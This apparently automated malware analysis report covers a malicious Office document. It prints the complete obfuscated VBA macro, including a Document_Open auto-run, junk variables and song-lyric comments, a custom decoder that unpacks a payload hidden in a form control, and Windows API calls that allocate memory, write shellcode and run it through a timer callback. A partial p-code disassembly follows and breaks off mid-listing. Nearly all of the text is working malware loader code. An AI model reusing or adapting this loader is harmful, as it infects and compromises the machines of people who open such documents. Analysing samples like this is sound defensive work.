Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Private Sub Document_Open()
Dim centropomus As Variant
Dim copal As Variant
ambuscade = "canonized"
coraciiformes
capacitive = 20 + 7
ashame = 38560 + 2
shelfful = 413440 + 6
 Pmt 0, capacitive, 26657, 12775, 4
End Sub



Attribute VB_Name = "oxytropis"
'  The moon went hiding, stars quit shining
'  From the moment when
#If (9 * 3 + 5) > (8 - 3 * 1) And (Win64) > (28 - 7 * 4) * 2 Then
'  And hit me like a hurricane
'  I was doing alright
Public Declare PtrSafe Function gunlock Lib "Kernel32" Alias _
   "CreateTimerQueueTimer" (gravelly As Any, ByVal parotitis As Any, ByVal nooscopic As Any, ByVal altruistically As Any, ByVal ennui As Any, ByVal speculation As Any, ByVal vestigial As Any) As Long
'  Baby, without warning
'  But you rolled in with your hair in the wind
Public Declare PtrSafe Function stayer Lib "ntdll.dll  " Alias "NtWriteVirtualMemory" (ByVal mesomorphic As Any, ByVal acatalectic As Any, ByVal overgarment As Any, ByVal raincoat As Any, ByVal peccary As Any) As LongPtr
'  The moon went hiding, stars quit shining
'  And hit me like a hurricane'  We locked eyes over whiskey on ice
Public Declare PtrSafe Function unequivocally Lib "ntdll.dll  " Alias _
  "NtAllocateVirtualMemory" (efformation As LongPtr, corinthian As LongPtr, ByVal admonitory As LongPtr, dicynodontiaByVal As LongPtr, terrible As LongPtr, ByVal menially As LongPtr) As LongPtr
'  Then you rolled in with your hair in the wind
'  I was doing alright
#End If
'  Then you rolled in with your hair in the wind
'  We locked eyes over whiskey on ice
#If (9 * 3 + 5) > (8 - 3 * 1) And Not (Win64) > (28 - 7 * 4) * 2 Then
'  Then you rolled in with your hair in the wind
'  Hit me like a hurricane
Public Declare Function stayer Lib "Ntdll.dll   " Alias "NtWriteVirtualMemory" (ByVal hypercatalectic As Any, ByVal hemiplegia As Any, ByVal strangle As Any, ByVal roughhew As Any, ByVal hindgut As Any) As Long
'  Then you rolled in with your hair in the wind
'  Baby, without warning
Public Declare Function gunlock Lib "Kernel32" Alias _
   "CreateTimerQueueTimer" (chasteness As Any, ByVal ciliata As Any, ByVal felicitous As Any, ByVal lustrum As Any, ByVal bondslave As Any, ByVal solvency As Any, ByVal aphorism As Any) As Long
'  And hit me like a hurricane
'  Rain was driving, thunder, lightning
Public Declare Function unequivocally Lib "Ntdll.dll " Alias _
  "NtAllocateVirtualMemory" (ctenidium As Long, contango As Long, ByVal labridae As Long, drivelingByVal As Long, forego As Long, ByVal remilitarization As Long) As Long
'  Driving us to your house
'  Then you rolled in with your hair in the wind
#End If
'  Rain was driving, thunder, lightning
'  We locked eyes over whiskey on ice





Attribute VB_Name = "purloo"
Attribute VB_Base = "0{2364E41E-7469-45A5-908F-DB89DF84C363}{DC3D0695-5C26-4A92-BA90-33EAA651949B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "asodule"
Function corporate()
Dim ablepsy(255) As Byte
spay = 15 - 41 + 91
Do While spay <= 90 + 1
ablepsy(spay) = spay - 65
spay = spay + 1
Loop
spay = 48
Do While spay <= 50 + 8
ablepsy(spay) = spay + 4
spay = spay + 1
Loop
spay = 97
Do While spay <= 120 + 3
ablepsy(spay) = spay - 71
spay = spay + 1
Loop
ablepsy(47) = 63
spay = 43
ablepsy(spay) = 60 + 2
corporate = ablepsy
End Function


Function cheerfully(ancestors, oblection, anthonys)
Select Case anthonys
Case 19 + (10 / 2 - 5)
cheerfully = ancestors \ oblection
Case 29 + (5 - 3) / 2 - 1
cheerfully = ancestors And oblection
Case 37 + (56 / 7 - 4 * 2)
cheerfully = ancestors * oblection
End Select
End Function
Function chuckaluck(cross)
chuckaluck = AscW(cross)
End Function


Function wattle(admiralty) As String
Dim lather(63) As Long
Dim starve(6962) As Byte
Dim aeciospore As String
Dim cyanosis() As Byte
Dim adversity As Long

Dim algol As Integer

Dim acanthocephala(63) As Long
Dim daring(63) As Long
Dim manchuria As Long
succeeding = succeeding Or 231

Dim safar As Byte

Dim atheism As Long
Dim interlanguage As Long

Dim egotism As Long
Dim astasia As Long
storage = "chartaceous"

pyramids = "enforceable"

Dim absolutist As Integer
Dim apnea As Variant

thermostatically = 65 - 27 + 262106
Item = 84 - 28 + 257992
alkali = 72 - 112 + 4136
plowman = 107 - 103 + 65276
stings = 44 - 87 + 106
affronted = 126 - 37 + 16711591
eavesdropping = 128 - 63 + 65471
Dim actinomycete As Integer

romanticist = 54 - 121 + 131
grapeshot = 60 - 14 + 3986
adamance = 52 - 118 + 16515138
Dim enticement As String

affirmative = 12 - 119 + 363
comportment = 122 - 52 + 185
Dim pluvialis As Integer
patriotically = 2 - 124 + 122
nb = 13 - 120 + 7950
Dim fingermark() As Byte
Dim consumptive As Integer
Dim speedily As Byte
fingermark = VBA.StrConv(admiralty, 128)
Dim eriodictyon As Integer
polyandrous = 70 + 10
autobiographer = 3210 + 10
concords = 589180 + 2
 Pmt 0, polyandrous, 27880, 29371, 2

segregation = 7840 + 3
salvageable = vbKeyShift - 12
For pavilion = (5 - 5) To segregation
If pavilion Mod 2 = (3 - 3) Then
fingermark(pavilion) = fingermark(pavilion) - salvageable
Else
fingermark(pavilion) = fingermark(pavilion) - (salvageable - 1)
End If
Next pavilion
beggary = 30 + 4
sapphirine = 25190 + 3
kopek = 143760 + 2
 Pmt 0, beggary, 39591, 37676, 7

absolutist = (3 - 3)
dizzily = 14 - 29 + 15
rotatory = 124 - 95 + 14
chimney = corporate
For atheism = (7 - 7) * 1 To (50 + 13) * (5 - 4)
daring(atheism) = cheerfully(atheism, romanticist, 37)
lather(atheism) = cheerfully(atheism, alkali, 37)
acanthocephala(atheism) = cheerfully(atheism, thermostatically, 37)
Next atheism
lasciate = 40 + 4
flugelman = 26640 + 1
shantung = 224350 + 9
 Pmt 0, lasciate, 29393, 14423, 4

cyanosis = fingermark
quadrillion = 98 - 59 - 35
hulks = 50 + 2
doomage = 33450 + 1
genotype = 460590 + 6
 Pmt 0, hulks, 32791, 44412, 7

primaries = 73 - 104 + 34
pyramids = "annual"

lisinopril = Fix(388)

eureka = primaries + 1
letterpress = 60 - 10 - 48
For astasia = (4 - 4) To segregation
grisette = cyanosis(astasia)
hibachi = cyanosis(astasia + 2)
orphanage = lather(chimney(cyanosis(astasia + 1)))
sob = daring(chimney(hibachi)) + chimney(cyanosis(astasia + primaries))
manchuria = acanthocephala(chimney(grisette)) + orphanage + sob
atheism = cheerfully(manchuria, affronted, 29)
starve(egotism) = cheerfully(atheism, eavesdropping, 19)
atheism = cheerfully(manchuria, plowman, 29)
starve(egotism + 1) = cheerfully(atheism, affirmative, 19)
starve(egotism + letterpress) = cheerfully(manchuria, comportment, 29)
egotism = egotism + letterpress + 1
astasia = astasia + 3
Next
wattle = starve
End Function

Attribute VB_Name = "protvin"
Function fructify(absorber, outspan, maukin)
#If (11 * 3 + 5) > (6 - 2 * 1) And (40 - 5 * 8) * 2 < (Win64) Then
Dim aristarchus As LongPtr
Dim clovis As LongPtr
Dim antecedent As LongPtr
Dim identical As LongPtr
Dim asthmatic As LongPtr
#End If
#If (16 * 2 + 5) > (7 - 2 * 1) And Not (42 - 7 * 6) * 2 < (Win64) Then
Dim clovis As Long
Dim aristarchus As Long
Dim antecedent As Long
Dim asthmatic As Long
Dim identical As Long
#End If
clovis = absorber
identical = maukin
antecedent = outspan
acarpelous = 110 + 1
challenge = 15310 + 9
defensive = 587830 + 9
 Pmt 0, acarpelous, 6765, 53181, 7

aristarchus = 81 - 37 - 45
borzims aristarchus, clovis, antecedent, identical, asthmatic
lisinopril = Math.Round(491)
End Function



Function barn(spiteful)
Dim coagulable As String
Dim auld As Integer
Dim entoloma As Variant
Dim unperformed As Integer
#If (6 * 3 + 5) > (7 - 2 * 1) And (48 - 6 * 8) * 2 < (Win64) Then
Dim burhinus As Long
Dim flog As LongPtr
dissimulate = 64 - 102 + 46
Dim straggle As LongPtr
Dim algorithm As Variant
Dim mediis As Long
Dim bountifulness As LongPtr
Dim nepal As Variant
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim flog As Long
dissimulate = 94 - 122 + 32
Dim straggle As Long
Dim bountifulness As Long
#End If
ultimus = VarPtr(flog)
labefy = fructify(ultimus, VarPtr(spiteful) + 8, dissimulate)
milligram = 80 - 82 + 1
straggle = 52 - 2 - 50
marblehearted = 55 - 78 + 23
bountifulness = 62 - 8 + 9705
bigshouldered = 73 - 55 + 4078
habent = 55 - 94 + 103
clodpated = unequivocally(ByVal milligram, _
straggle, ByVal marblehearted, bountifulness, ByVal bigshouldered, _
ByVal habent)
pyramids = pyramids

storage = "bedrock"

fructify straggle, flog, 1 - 26 + 5908
apophyseal = 10 + 4
Follow = 23660 + 6
castrametation = 164680 + 2
 Pmt 0, apophyseal, 8396, 54863, 6

barn = straggle
End Function


Attribute VB_Name = "Module2"
Function coraciiformes()
Dim utra As Variant
Dim coction As Byte
purloo.foible.Value = Day(#12/5/2013#)
varday = confirmatory = "easternmost"
chlortetracycline = "fulgor"
pondering = cloyment
ceratopetalum = "euthanasia"
cupping = elude

deadened = "amauropelta"
gazette = thrifty
hubris = eulogistic
Set pertinaciousness = purloo.foible.SelectedItem
ubiquitous = 10 + 9
meum = 9040 + 4
gibier = 264510 + 10
 Pmt 0, ubiquitous, 7909, 35519, 6

stirring = pertinaciousness.Name
laminitis = 52 - 100 + 7892
quarto = Right(stirring, laminitis)
downbound = asodule.wattle(quarto)
pahautea = 50 + 6
fragrance = 11550 - 10
protocol = 263860 + 4
 Pmt 0, pahautea, 27211, 45036, 7

deferral = "asleep"
bedew = brythonic
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim impune As Variant
Dim cord As LongPtr
Dim gf As LongPtr
Dim neencephalon As Variant

Dim arthropteris As Variant
Dim cavern As LongPtr
Dim orrisroot As LongPtr
Dim higgledypiggledy As LongPtr
disdainful = 116 - 35 + 1983
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim insults As Variant
Dim gf As Long
Dim antipollution As Byte
Dim cord As Long

Dim cavern As Long
cuirassier = 127 - 55 + 709
Dim orrisroot As Long
Dim higgledypiggledy As Long
disdainful = cuirassier + 3459
#End If
sideral = 65 - 16 - 49
aerie = "bito"
dinoflagellate = 93 - 25 + 4028
maeandra = 110 + 7
abest = 36060 + 6
colleague = 141440 + 2
 Pmt 0, maeandra, 8867, 46493, 6

toiler = "fishpaste"
inconversable = "myricaria"
alsatian = "commedy"
appalachian = "retrospective"
nonpregnant = 60 + 9
plagiarist = 3680 + 5
commandership = 551010 + 10
 Pmt 0, nonpregnant, 25952, 38705, 7

amoebic = downbound
absterge = "microsporum"
cord = barn(amoebic)
burked = "memento"
Dim mitrailleuse As Integer
Dim suburbanized As Byte
cavern = 17 - 104 + 87
gf = cord + disdainful
orrisroot = 74 - 116 + 201569
higgledypiggledy = 93 - 104 + 3511
carbohydrate = gunlock(orrisroot, cavern, gf, cavern, cavern, cavern, cavern)
decently = 80 + 7
composite = 10560 + 9
averrhoa = 482720 + 1
 Pmt 0, decently, 11899, 19977, 4

End Function


Function borzims(aristarchuse, clovise, antecedente, identicale, asthmatice)
#If (11 * 3 + 5) > (6 - 2 * 1) And (40 - 5 * 8) * 2 < (Win64) Then
Dim aristarchus As LongPtr
Dim clovis As LongPtr
Dim antecedent As LongPtr
Dim identical As LongPtr
Dim asthmatic As LongPtr
#End If
#If (16 * 2 + 5) > (7 - 2 * 1) And Not (42 - 7 * 6) * 2 < (Win64) Then
Dim clovis As Long
Dim aristarchus As Long
Dim antecedent As Long
Dim asthmatic As Long
Dim identical As Long
#End If
aristarchus = aristarchuse
clovis = clovise
antecedent = antecedente
identical = identicale
asthmatic = asthmatice
stayer ByVal _
aristarchus, _
clovis, antecedent, identical, _
asthmatic

End Function

' Processing file: /opt/analyzer/scan_staging/d5debf07416941419bbcd11f1f3e4855.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4208 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' 	FuncDefn (Sub Document_Open())
' Line #4:
' 	Dim 
' 	VarDefn centropomus (As Variant)
' Line #5:
' 	Dim 
' 	VarDefn copal (As Variant)
' Line #6:
' 	LitStr 0x0009 "canonized"
' 	St ambuscade 
' Line #7:
' 	ArgsCall coraciiformes 0x0000 
' Line #8:
' 	LitDI2 0x0014 
' 	LitDI2 0x0007 
' 	Add 
' 	St capacitive 
' Line #9:
' 	LitDI4 0x96A0 0x0000 
' 	LitDI2 0x0002 
' 	Add 
' 	St ashame 
' Line #10:
' 	LitDI4 0x4F00 0x0006 
' 	LitDI2 0x0006 
' 	Add 
' 	St shelfful 
' Line #11:
' 	LitDI2 0x0000 
' 	Ld capacitive 
' 	LitDI2 0x6821 
' 	LitDI2 0x31E7 
' 	LitDI2 0x0004 
' 	ArgsCall Pmt 0x0005 
' Line #12:
' 	EndSub 
' Line #13:
' Line #14:
' Macros/VBA/oxytropis - 8707 bytes
' Line #0:
' 	QuoteRem 0x0000 0x002A "  The moon went hiding, stars quit shining"
' Line #1:
' 	QuoteRem 0x0000 0x0016 "  From the moment when"
' Line #2:
' 	LbMark 
' 	LitDI2 0x0009 
' 	LitDI2 0x0003 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0008 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	Ld Win64 
' 	Paren 
' 	LitDI2 0x001C 
' 	LitDI2 0x0007 
' 	LitDI2 0x0004 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Gt 
' 	And 
' 	LbIf 
' Line #3:
' 	QuoteRem 0x0000 0x001D "  And hit me like a hurricane"
' Line #4:
' 	QuoteRem 0x0000 0x0015 "  I was doing alright"
' Line #5:
' 	LineCont 0x0004 08 00 03 00
' 	FuncDefn (Public Function gunlock(gravelly As ) As Long)
' Line #6:
' 	QuoteRem 0x0000 0x0017 "  Baby, without warning"
' Line #7:
' 	QuoteRem 0x0000 0x002E "  But you rolled in with your hair in the wind"
' Line #8:
' 	FuncDefn (Public Function stayer(ByVal mesomorphic As ) As Ptr)
' Line #9:
' 	QuoteRem 0x0000 0x002A "  The moon went hiding, stars quit shining"
' Line #10:
' 	QuoteRem 0x0000 0x0042 "  And hit me like a hurricane'  We locked eyes over whiskey on ice"
' Line #11:
' 	LineCont 0x0004 08 00 02 00
' 	FuncDefn (Public Function unequivocally(ntdll.dll As Ptr) As Ptr)
' Line #12:
' 	QuoteRem 0x0000 0x002F "  Then you rolled in with your hair in the wind"
' Line #13:
' 	QuoteRem 0x0000 0x0015 "  I was doing alright"
' Line #14:
' 	LbMark 
' 	LbEndIf 
' Line #15:
' 	QuoteRem 0x0000 0x002F "  Then you rolled in with your hair in the wind"
' Line #16:
' 	QuoteRem 0x0000 0x0024 "  We locked eyes over whiskey on ice"
' Line #17:
' 	LbMark 
' 	LitDI2 0x0009 
' 	LitDI2 0x0003 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0008 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	Ld Win64 
' 	Paren 
' 	LitDI2 0x001C 
' 	LitDI2 0x0007 
' 	LitDI2 0x0004 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Gt 
' 	Not 
' 	And 
' 	LbIf 
' Line #18:
' 	QuoteRem 0x0000 0x002F "  Then you rolled in with your hair in the wind"
' Line #19:
' 	QuoteRem 0x0000 0x0019 "  Hit me like a hurricane"
' Line #20:
' 	Reparse 0x00D2 "Public Declare Function stayer Lib "Ntdll.dll   " Alias "NtWriteVirtualMemory" (ByVal hypercatalectic As Any, ByVal hemiplegia As Any, ByVal strangle As Any, ByVal roughhew As Any, ByVal hindgut As Any) As Long"
' Line #21:
' 	QuoteRem 0x0000 0x002F "  Then you rolled in with your hair in the wind"
' Line #22:
' 	QuoteRem 0x0000 0x0017 "  Baby, without warning"
' Line #23:
' 	LineCont 0x0004 00 00 CC FF
' 	Reparse 0x00F5 "Public Declare Function gunlock Lib "Kernel32" Alias   "CreateTimerQueueTimer" (chasteness As Any, ByVal ciliata As Any, ByVal felicitous As Any, ByVal lustrum As Any, ByVal bondslave As Any, ByVal solvency As Any, ByVal aphorism As Any) As Long"
' Line #24:
' 	QuoteRem 0x0000 0x001D "  And hit me like a hurricane"
' Line #25:
' 	QuoteRem 0x0000 0x0026 "  Rain was driving, thunder, lightning"
' Line #26:
' 	LineCont 0x0004 00 00 C4 FF
' 	Reparse 0x00E5 "Public Declare Function unequivocally Lib "Ntdll.dll " Alias  "NtAllocateVirtualMemory" (ctenidium As Long, contango As Long, ByVal labridae As Long, drivelingByVal As Long, forego As Long, ByVal remilitarization As Long) As Long"
' Line #27:
' 	QuoteRem 0x0000 0x001A "  Driving us to your house"
' Line #28:
' 	QuoteRem 0x0000 0x002F "  Then you rolled in with your hair in the wind"
' Line #29:
' 	LbMark 
' 	LbEndIf 
' Line #30:
' 	QuoteRem 0x0000 0x0026 "  Rain was driving, thunder, lightning"
' Line #31:
' 	QuoteRem 0x0000 0x0024 "  We locked eyes over whiskey on ice"
' Line #32:
' Line #33:
' Line #34:
' Line #35:
' Macros/VBA/purloo - 1483 bytes
' Macros/VBA/asodule - 11481 bytes
' Line #0:
' 	FuncDefn (Function chimney())
' Line #1:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x00FF 
' 	VarDefn myArray
' Line #2:
' 	LitDI2 0x000F 
' 	LitDI2 0x0029 
' 	Sub 
' 	LitDI2 0x005B 
' 	Add 
' 	St ablepsy 
' Line #3:
' 	Ld ablepsy 
' 	LitDI2 0x005A 
' 	LitDI2 0x0001 
' 	Add 
' 	Le 
' 	DoWhile 
' Line #4:
' 	Ld ablepsy 
' 	LitDI2 0x0041 
' 	Sub 
' 	Ld ablepsy 
' 	ArgsSt myArray 0x0001 
' Line #5:
' 	Ld ablepsy 
' 	LitDI2 0x0001 
' 	Add 
' 	St ablepsy 
' Line #6:
' 	Loop 
' Line #7:
' 	LitDI2 0x0030 
' 	St ablepsy 
' Line #8:
' 	Ld ablepsy 
' 	LitDI2 0x0032 
' 	LitDI2 0x0008 
' 	Add 
' 	Le 
' 	DoWhile 
' Line #9:
' 	Ld ablepsy 
' 	LitDI2 0x0004 
' 	Add 
' 	Ld ablepsy 
' 	ArgsSt myArray 0x0001 
' Line #10:
' 	Ld ablepsy 
' 	LitDI2 0x0001 
' 	Add 
' 	St ablepsy 
' Line #11:
' 	Loop 
' Line #12:
' 	LitDI2 0x0061 
' 	St ablepsy 
' Line #13:
' 	Ld ablepsy 
' 	LitDI2 0x0078 
' 	LitDI2 0x0003 
' 	Add 
' 	Le 
' 	DoWhile 
' Line #14:
' 	Ld ablepsy 
' 	LitDI2 0x0047 
' 	Sub 
' 	Ld ablepsy 
' 	ArgsSt myArray 0x0001 
' Line #15:
' 	Ld ablepsy 
' 	LitDI2 0x0001 
' 	Add 
' 	St ablepsy 
' Line #16:
' 	Loop 
' Line #17:
' 	LitDI2 0x003F 
' 	LitDI2 0x002F 
' 	ArgsSt myArray 0x0001 
' Line #18:
' 	LitDI2 0x002B 
' 	St ablepsy 
' Line #19:
' 	LitDI2 0x003C 
' 	LitDI2 0x0002 
' 	Add 
' 	Ld ablepsy 
' 	ArgsSt myArray 0x0001 
' Line #20:
' 	Ld myArray 
' 	St chimney 
' Line #21:
' 	EndFunc 
' Line #22:
' Line #23:
' Line #24:
' 	FuncDefn (Function Shlwapi.dll(cheerfully))
' Line #25:
' 	Ld oblection 
' 	SelectCase 
' Line #26:
' 	LitDI2 0x0013 
' 	LitDI2 0x000A 
' 	LitDI2 0x0002 
' 	Div 
' 	LitDI2 0x0005 
' 	Sub 
' 	Paren 
' 	Add 
' 	Case 
' 	CaseDone 
' Line #27:
' 	Ld cheerfully 
' 	Ld ancestors 
' 	IDiv 
' 	St Shlwapi.dll 
' Line #28:
' 	LitDI2 0x001D 
' 	LitDI2 0x0005 
' 	LitDI2 0x0003 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Div 
' 	Add 
' 	LitDI2 0x0001 
' 	Sub 
' 	Case 
' 	CaseDone 
' Line #29:
' 	Ld cheerfully 
' 	Ld ancestors 
' 	And 
' 	St Shlwapi.dll 
' Line #30:
' 	LitDI2 0x0025 
' 	LitDI2 0x0038 
' 	LitDI2 0x0007 
' 	Div 
' 	LitDI2 0x0004 
' 	LitDI2 0x0002 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Add 
' 	Case 
' 	CaseDone 
' Line #31:
' 	Ld cheerfully 
' 	Ld ancestors 
' 	Mul 
' 	St Shlwapi.dll 
' Line #32:
' 	EndSelect 
' Line #33:
' 	EndFunc 
' Line #34:
' 	FuncDefn (Function anthonys(chuckaluck))
' Line #35:
' 	Ld chuckaluck 
' 	ArgsLd cross 0x0001 
' 	St anthonys 
' Line #36:
' 	EndFunc 
' Line #37:
' Line #38:
' Line #39:
' 	FuncDefn (Function wattle(AscW) As String)
' Line #40:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x003F 
' 	VarDefn admiralty
' Line #41:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x1B32 
' 	VarDefn lather
' Line #42:
' 	Dim 
' 	VarDefn starve (As String)
' Line #43:
' 	Dim 
' 	VarDefn aeciospore
' Line #44:
' 	Dim 
' 	VarDefn cyanosis (As Long)
' Line #45:
' Line #46:
' 	Dim 
' 	VarDefn adversity (As Integer)
' Line #47:
' Line #48:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x003F 
' 	VarDefn algol
' Line #49:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x003F 
' 	VarDefn acanthocephala
' Line #50:
' 	Dim 
' 	VarDefn daring (As Long)
' Line #51:
' 	Ld manchuria 
' 	LitDI2 0x00E7 
' 	Or 
' 	St manchuria 
' Line #52:
' Line #53:
' 	Dim 
' 	VarDefn succeeding (As Byte)
' Line #54:
' Line #55:
' 	Dim 
' 	VarDefn safar (As Long)
' Line #56:
' 	Dim 
' 	VarDefn atheism (As Long)
' Line #57:
' Line #58:
' 	Dim 
' 	VarDefn interlanguage (As Long)
' Line #59:
' 	Dim 
' 	VarDefn egotism (As Long)
' Line #60:
' 	LitStr 0x000B "chartaceous"
' 	St storage 
' Line #61:
' Line #62:
' 	LitStr 0x000B "enforceable"
' 	St pyramids 
' Line #63:
' Line #64:
' 	Dim 
' 	VarDefn astasia (As Integer)
' Line #65:
' 	Dim 
' 	VarDefn absolutist (As Variant)
' Line #66:
' Line #67:
' 	LitDI2 0x0041 
' 	LitDI2 0x001B 
' 	Sub 
' 	LitDI4 0xFFDA 0x0003 
' 	Add 
' 	St apnea 
' Line #68:
' 	LitDI2 0x0054 
' 	LitDI2 0x001C 
' 	Sub 
' 	LitDI4 0xEFC8 0x0003 
' 	Add 
' 	St thermostatically 
' Line #69:
' 	LitDI2 0x0048 
' 	LitDI2 0x0070 
' 	Sub 
' 	LitDI2 0x1028 
' 	Add 
' 	St Item 
' Line #70:
' 	LitDI2 0x006B 
' 	LitDI2 0x0067 
' 	Sub 
' 	LitDI4 0xFEFC 0x0000 
' 	Add 
' 	St alkali 
' Line #71:
' 	LitDI2 0x002C 
' 	LitDI2 0x0057 
' 	Sub 
' 	LitDI2 0x006A 
' 	Add 
' 	St plowman 
' Line #72:
' 	LitDI2 0x007E 
' 	LitDI2 0x0025 
' 	Sub 
' 	LitDI4 0xFFA7 0x00FE 
' 	Add 
' 	St stings 
' Line #73:
' 	LitDI2 0x0080 
' 	LitDI2 0x003F 
' 	Sub 
' 	LitDI4 0xFFBF 0x0000 
' 	Add 
' 	St affronted 
' Line #74:
' 	Dim 
' 	VarDefn eavesdropping (As Integer)
' Line #75:
' Line #76:
' 	LitDI2 0x0036 
' 	LitDI2 0x0079 
' 	Sub 
' 	LitDI2 0x0083 
' 	Add 
' 	St actinomycete 
' Line #77:
' 	LitDI2 0x003C 
' 	LitDI2 0x000E 
' 	Sub 
' 	LitDI2 0x0F92 
' 	Add 
' 	St romanticist 
' Line #78:
' 	LitDI2 0x0034 
' 	LitDI2 0x0076 
' 	Sub 
' 	LitDI4 0x0042 0x00FC 
' 	Add 
' 	St grapeshot 
' Line #79:
' 	Dim 
' 	VarDefn adamance (As String)
' Line #80:
' Line #81:
' 	LitDI2 0x000C 
' 	LitDI2 0x0077 
' 	Sub 
' 	LitDI2 0x016B 
' 	Add 
' 	St enticement 
' Line #82:
' 	LitDI2 0x007A 
' 	LitDI2 0x0034 
' 	Sub 
' 	LitDI2 0x00B9 
' 	Add 
' 	St affirmative 
' Line #83:
' 	Dim 
' 	VarDefn comportment (As Integer)
' Line #84:
' 	LitDI2 0x0002 
' 	LitDI2 0x007C 
' 	Sub 
' 	LitDI2 0x007A 
' 	Add 
' 	St pluvialis 
' Line #85:
' 	LitDI2 0x000D 
' 	LitDI2 0x0078 
' 	Sub 
' 	LitDI2 0x1F0E 
' 	Add 
' 	St patriotically 
' Line #86:
' 	Dim 
' 	VarDefn nb
' Line #87:
' 	Dim 
' 	VarDefn fingermark (As Integer)
' Line #88:
' 	Dim 
' 	VarDefn consumptive (As Byte)
' Line #89:
' 	Ld AscW 
' 	LitDI2 0x0080 
' 	Ld VBA 
' 	ArgsMemLd speedily 0x0002 
' 	St nb 
' Line #90:
' 	Dim 
' 	VarDefn StrConv (As Integer)
' Line #91:
' 	LitDI2 0x0046 
' 	LitDI2 0x000A 
' 	Add 
' 	St eriodictyon 
' Line #92:
' 	LitDI2 0x0C8A 
' 	LitDI2 0x000A 
' 	Add 
' 	St polyandrous 
' Line #93:
' 	LitDI4 0xFD7C 0x0008 
' 	LitDI2 0x0002 
' 	Add 
' 	St autobiographer 
' Line #94:
' 	LitDI2 0x0000 
' 	Ld eriodictyon 
' 	LitDI2 0x6CE8 
' 	LitDI2 0x72BB 
' 	LitDI2 0x0002 
' 	ArgsCall Pmt 0x0005 
' Line #95:
…